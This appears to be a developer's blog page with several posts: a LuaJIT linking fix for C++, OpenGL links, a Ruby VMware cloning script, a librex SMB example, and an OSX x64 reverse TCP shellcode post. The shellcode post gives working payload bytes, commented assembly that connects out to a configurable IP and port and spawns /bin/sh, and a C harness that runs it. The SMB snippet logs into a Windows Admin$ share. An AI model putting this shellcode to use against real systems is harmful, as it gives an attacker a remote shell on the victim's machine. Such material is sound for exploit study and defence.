hammackj

C++ 11 and LuaJIT Integration

Last weekend I was trying to integrate LuaJIT into my custom game engine but I was getting this strange lua runtime error:

[hammackj@taco:~/luajit_playground/luajit_static]$ ./static
Hello from Lua
Couldn't load file luatest.lua : luatest.lua:10: dlsym(RTLD_DEFAULT, test_ffi): symbol not found

After a bit of googling I couldn't really find an answer, all the examples I found just worked. So I started to look a little deeper.

[hammackj@taco:~/luajit_playground/luajit_static]$ nm -gU static
0000000100000000 T ____mh_execute_header
0000000100001110 T ____main

By looking at all of the final symbols from the binary I could see my test_ffi function was missing. From here I was fairly certain clang was stripping all of the dead code that wasn't being directly called. Which was causing my problem as I was using the FFI interface to export my C++ wrappers to lua. After a few more hours of googling I found a stackoverflow question about dead code striping that led me to adding this -Wl,-force_load,libstatic.a, to my linker command.

[hammackj@taco:~/luajit_playground/luajit_static]$ nm -gU static
0000000100000000 T ____mh_execute_header
0000000100001110 T ____main
0000000100001c40 T ____test_ffi

The symbol was now being correct "exported" from the static library to the host binary and not bring stripped. The output now worked correctly.

[hammackj@taco:~/luajit_playground/luajit_static]$ ./static
Hello from Lua
Hello from C++

Below is all the source code used. You can also use -Wl,-all_load, which forces all symbols / functions to be imported even if unused. This will dramatically increase the size of the binary.

//Main.cpp
#include <iostream>
#include <luajit-2.0/lua.hpp>

int main(int argc, char const *argv[])
{
    lua_State *L = luaL_newstate();
    luaL_openlibs(L);

    const char *path = "luatest.lua";

    if (luaL_loadfile(L, path) || lua_pcall(L, 0, LUA_MULTRET, 0))
    {
        std::cerr << "Couldn't load file " << path << " : " << lua_tostring(L, -1) << std::endl;
    }

    lua_close(L);

    return 0;
}
//static.hpp
#include <iostream>

extern "C"
{
    void test_ffi();
}
//static.cpp
#include "static.hpp"

void test_ffi()
{
    std::cout << "Hello from C++" << std::endl;
}
-- luatest.lua
print "Hello from Lua"

local ffi = require('ffi')

ffi.cdef([[
void test_ffi();
]])
local C = ffi.C

C.test_ffi()
CC=c++
CFLAGS=-g -Wall -I/usr/local/include -L/usr/local/lib -L. -std=c++11 -pagezero_size 10000 -image_base 100000000
LDFLAGS=-lluajit-5.1 -lstatic -Wl,-force_load,libstatic.a

#-Wl,-all_load

FILES=main.cpp
STATIC_FILES=static.cpp

OUTPUT=static

all: static standalone

static: $(STATIC_FILES)
    $(CC) -MMD -MP -g -std=c++11 -c $(STATIC_FILES) -o static.o
    ar -rcs libstatic.a static.o

standalone: $(static) $(FILES)
    $(CC) $(CFLAGS) -o $(OUTPUT) $(FILES) $(LDFLAGS)

clean:
    rm -rf *.dSYM static *.d *.a *.o

You can find all the source code on my github. Which includes a simple standalone single binary version, the above static library version and a dynamic library version. The code is written for OSX and a brew based install of LuaJIT. I didn't test if this was a issue on gcc or msvc++.

Modern OpenGL 3+ Resources

For the past several months I have been researching modern OpenGL and finding resources has been a bit rough. The following are several tutorials / code examples that I used to learn more about creating and working with a Modern OpenGL 3.3+ context. Almost everything I found was using the old style OpenGL 1.x or 2.x methods of rendering. I hope that someone else will find this useful and save themselves a few hours of Googling to find this info.

OSX x64 Reverse TCP Shellcode

I noticed there was not any reverse TCP shell code for 64-bit OSX. In fact, there is almost no 64-bit shell code for OSX. The only code I could find was here. This guy's blog post about 64-bit ASM on OSX helped with this project. It works great on 64-bit and 32-bit kernels. This is my first attempt at writing my own shell code; there are still optimizations left to do.

Shellcode

#OSX reverse tcp shell (131 bytes)
#replace FFFFFFFF around byte 43 with the call back ip in hex
#replace 5C11 around byte 39 with a new port current is 4444
shellcode =
"\x41\xB0\x02\x49\xC1\xE0\x18\x49\x83\xC8\x61\x4C\x89\xC0\x48" +
"\x31\xD2\x48\x89\xD6\x48\xFF\xC6\x48\x89\xF7\x48\xFF\xC7\x0F" +
"\x05\x49\x89\xC4\x49\xBD\x01\x01\x11\x5C\xFF\xFF\xFF\xFF\x41" +
"\xB1\xFF\x4D\x29\xCD\x41\x55\x49\x89\xE5\x49\xFF\xC0\x4C\x89" +
"\xC0\x4C\x89\xE7\x4C\x89\xEE\x48\x83\xC2\x10\x0F\x05\x49\x83" +
"\xE8\x08\x48\x31\xF6\x4C\x89\xC0\x4C\x89\xE7\x0F\x05\x48\x83" +
"\xFE\x02\x48\xFF\xC6\x76\xEF\x49\x83\xE8\x1F\x4C\x89\xC0\x48" +
"\x31\xD2\x49\xBD\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x49\xC1\xED" +
"\x08\x41\x55\x48\x89\xE7\x48\x31\xF6\x0F\x05"

Source

;osx x64 reverse tcp shellcode (131 bytes)
;Jacob Hammack
;jacob.hammack@hammackj.com
;http://www.hammackj.com
;
;props to http://www.thexploit.com/ for the blog posts on x64 osx asm
;I borrowed some of his code
;
;nasm -f macho reverse_tcp.s -o reverse_tcp.o
;ld -o reverse_tcp -e start reverse_tcp.o

BITS 64

section .text
global start

start:
    mov r8b, 0x02               ; unix class system calls = 2
    shl r8, 24                  ; shift left 24 to the upper order bits
    or r8, 0x61                 ; socket is 0x61
    mov rax, r8                 ; put socket syscall # into rax

;Socket
    xor rdx, rdx                ; zero out rdx
    mov rsi, rdx                ; AF_NET = 1
    inc rsi                     ; rsi = AF_NET
    mov rdi, rsi                ; SOCK_STREAM = 2
    inc rdi                     ; rdi = SOCK_STREAM
    syscall                     ; call socket(SOCK_STREAM, AF_NET, 0);

    mov r12, rax                ; Save the socket

;Sock_addr
    mov r13, 0xFFFFFFFF5C110101 ; IP = FFFFFFFF, Port = 5C11(4444)
    mov r9b, 0xFF               ; The sock_addr_in is + FF from where we need it
    sub r13, r9                 ; So we sub 0xFF from it to get the correct value and avoid a null
    push r13                    ; Push it on the stack
    mov r13, rsp                ; Save the sock_addr_in into r13


;Connect
    inc r8                      ; Connect = 0x62, so we inc by one from the previous syscall
    mov rax, r8                 ; move that into rax
    mov rdi, r12                ; move the saved socket fd into rdi
    mov rsi, r13                ; move the saved sock_addr_in into rsi
    add rdx, 0x10               ; add 0x10 to rdx
    syscall                     ; call connect(rdi, rsi, rdx)

    sub r8, 0x8                 ; subtract 8 from r8 for the next syscall dup2 0x90
    xor rsi, rsi                ; zero out rsi

dup:
    mov rax, r8                 ; move the syscall for dup2 into rax
    mov rdi, r12                ; move the FD for the socket into rdi
    syscall                     ; call dup2(rdi, rsi)

    cmp rsi, 0x2                ; check to see if we are still under 2
    inc rsi                     ; inc rsi
    jbe dup                     ; jmp if less than 2

    sub r8, 0x1F                ; setup the exec syscall at 0x3b
    mov rax, r8                 ; move the syscall into rax

;exec
    xor rdx, rdx                ; zero out rdx
    mov r13, 0x68732f6e69622fFF ; '/bin/sh' in hex
    shr r13, 8                  ; shift right to create the null terminator
    push r13                    ; push to the stack
    mov rdi, rsp                ; move the command from the stack to rdi
    xor rsi, rsi                ; zero out rsi
    syscall                     ; call exec(rdi, 0, 0)

Testing it

//Jacob Hammack
//Shellcode executor template from: http://www.thexploit.com/sploitdev/testing-your-shellcode-on-a-non-executable-stack-or-heap/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
 
int (*sc)();
 
char shellcode[] = "Put your modified shellcode here";

int main(int argc, char **argv) 
{
  void *ptr = mmap(0, 
    strlen(shellcode), 
    PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, 
    -1, 
    0);

  if (ptr == MAP_FAILED) 
  {
    perror("mmap");
    exit(-1);
  }

  memcpy(ptr, shellcode, sizeof(shellcode));
  sc = ptr;

  sc();

  return 0;
}

VMWare Fusion VM Clone Script

This is a fairly simple VMWare VM cloning script. I use VMWare Fusion/ESXi for most of my research and neither of these tools have a cloning functionality without paying for it. VMWare Workstation has a built-in function and Fusion is missing that function currently, hopefully they will add it in 4.0. Attached is a really simple proof of concept script for cloning virtual machines. I created a github repo for the script here. I have tested it locally on about 20 different VM's that I have but nothing beats having other people test it. Please let me know if there are any issues.

#!/usr/bin/env ruby -wKU

#Jacob Hamack
#jacob.hammack@hammackj.com
#http://www.hammackj.com
#Usage: clone_vm.rb original/ clone/

def rename_files_by_type (type, old_vm_name, new_vm_name)
    file_of_type = Dir["*.#{type}"]

    file_of_type.each do |old_file_name|
        new_file_name = old_file_name.sub(old_vm_name, new_vm_name)

        if old_file_name == new_file_name
            next
        else
            File.rename(old_file_name, new_file_name)
        end
    end
end

def file_type(file)
    type = `file '#{file}'`.split(":")[1]
end

def process_vmdk_files(old_vm_name, new_vm_name)
    vmdk_files = Dir["*.vmdk"]

    vmdk_files.each do |file|
        type = file_type file
        new_file_name = file.sub(old_vm_name, new_vm_name)

        if type =~ /ASCII English text/                            
            File.open("#{new_file_name}", "w+") do |output|
                File.open("#{file}", "r") do |input|
                    while (line = input.gets)
                        if line =~ /\"#{old_vm_name}-s\d\d\d.vmdk\"/
                            line = line.sub(old_vm_name, new_vm_name)
                        elsif line =~ /\"#{old_vm_name}-\d*-s\d\d\d.vmdk\"/
                            line = line.sub(old_vm_name, new_vm_name)
                        elsif line =~ /parentFileNameHint/
                            line = line.sub(old_vm_name, new_vm_name)
                        else
                            line = line
                        end

                        output.write line
                    end
                end
            end

            system("rm '#{file}'")

        elsif type =~ /VMware4 disk image/
            File.rename(file, new_file_name)
        else
            puts "[!] Broken vmdk: #{file}"
        end
    end
end

def process_vmx_file(old_vm_name, new_vm_name)
    File.open("#{new_vm_name}.vmx", "w+") do |output|
        File.open("#{old_vm_name}.vmx", "r") do |input|
            while (line = input.gets)       
                if line =~ /scsi0:0.fileName/
                    line = line.gsub("#{old_vm_name}", "#{new_vm_name}")
                elsif line =~ /displayName/
                    line = line.gsub("#{old_vm_name}", "#{new_vm_name}")
                elsif line =~ /extendedConfigFile/
                    line = line.gsub("#{old_vm_name}.vmxf", "#{new_vm_name}.vmxf")
                elsif line =~ /nvram/
                    line = ""
                elsif line =~ /sched.swap.derivedName/
                    line = line.gsub("#{old_vm_name}", "#{new_vm_name}")
                elsif line =~ /checkpoint.vmState/
                    line = line.gsub("#{old_vm_name}", "#{new_vm_name}")
                else
                    line = line
                end

                output.write line
            end
        end
    end
    system("rm '#{old_vm_name}.vmx'")
end

def process_vmxf_file(old_vm_name, new_vm_name)
    File.open("#{new_vm_name}.vmxf", "w+") do |output|
        File.open("#{old_vm_name}.vmxf", "r") do |input|
            while (line = input.gets)
                if line =~ /vmxPathName/
                    line = line.gsub("#{old_vm_name}.vmx", "#{new_vm_name}.vmx")
                else
                    line = line
                end

                output.write line
            end
        end
    end

    system("rm '#{old_vm_name}.vmxf'")
end

def process_vmsd_file(old_vm_name, new_vm_name)
    File.open("#{new_vm_name}.vmsd", "w+") do |output|
        File.open("#{old_vm_name}.vmsd", "r") do |input|
            while (line = input.gets)       
                if line =~ /fileName/ or line =~ /filename/
                    line = line.sub("#{old_vm_name}", "#{new_vm_name}")
                else
                    line = line
                end

                output.write line
            end
        end
    end
    system("rm '#{old_vm_name}.vmsd'")
end


file = ARGV[0]
newfile = ARGV[1]

if file[-1] == "/"
    file = file[0...file.rindex('/')]
end

if newfile[-1] == "/"
    newfile = newfile[0...newfile.rindex('/')]
end

#1. Copy existing vm to new path
puts "[*] Cloning #{file} to #{newfile}"
system("cp -r '#{file}'/ '#{newfile}'/")

#clean up the new vm
puts "[*] Clean #{newfile}"
Dir.chdir("#{newfile}/")

file = file.gsub(".vmwarevm", "")
newfile = newfile.gsub(".vmwarevm", "")

#Remove all of the pointless stuff
system("rm *.nvram")
system("rm -rf *.lck")
system("rm -rf Applications/")
system("rm -rf appListCache")
system("rm *.log")
system("rm quicklook-cache.png")

puts "[*] Fixing disk references"
process_vmdk_files(file, newfile)

puts "[*] Fixing #{newfile}.vmx"
process_vmx_file(file, newfile)

puts "[*] Fixing #{newfile}.vmxf"
process_vmxf_file(file, newfile)

puts "[*] Fixing Snapshots"
puts "[*] Fixing *.vmem"
rename_files_by_type("vmem", file, newfile)

puts "[*] Fixing *.vmsn"
rename_files_by_type("vmsn", file, newfile)

puts "[*] Fixing *.vmss"
rename_files_by_type("vmss", file, newfile)

puts "[*] Fixing vmsd"
process_vmsd_file(file, newfile)

Using the librex gem

I started automating the release of the librex gem and I thought it might be useful if I did a quick post on how to use the library.

So for starters librex is a repackaging of a core library from Metasploit. At my last job, I needed a way to interact with Windows shares and other rpc functionality from ruby. Rex was the only implementation of SMB in ruby that I could find. With permission from HDM I created a gem and published it on rubygems.

This is a quick example of how to interact with a Windows Share/computer using SMB via the Rex library.

#!/usr/bin/env ruby

#Jacob Hammack
#Jacob.Hammack@hammackj.com
#An Example for connecting to a Windows Share.

require 'rubygems'
require 'rex'

host = ""
username = ""
password = ""
#hostname is interesting, new windows require the actual hostname of the box
#to connect so this may not work on 7
hostname = "*SMBSERVER"
domain = ""

begin
    sock = Rex::Socket::Tcp.create('PeerHost' => host, 'PeerPort' => 139)
    smb = Rex::Proto::SMB::SimpleClient.new(sock)

    puts "[*] Logging in to #{host}"
    smb.login(hostname, username, password, domain)
    smb.connect("Admin$")

    if smb.client.auth_user
        puts "[*] Connected to Admin$"
    else
        puts "[!] Unable to Connect to Admin$"
    end

    sock.close
rescue Exception => e
    puts "#{e.messaage}\n#{e.backtrace}\n\n"
end

If there are any requests I will do more examples for the different stuff Rex can do for you. For now back to the debugger =)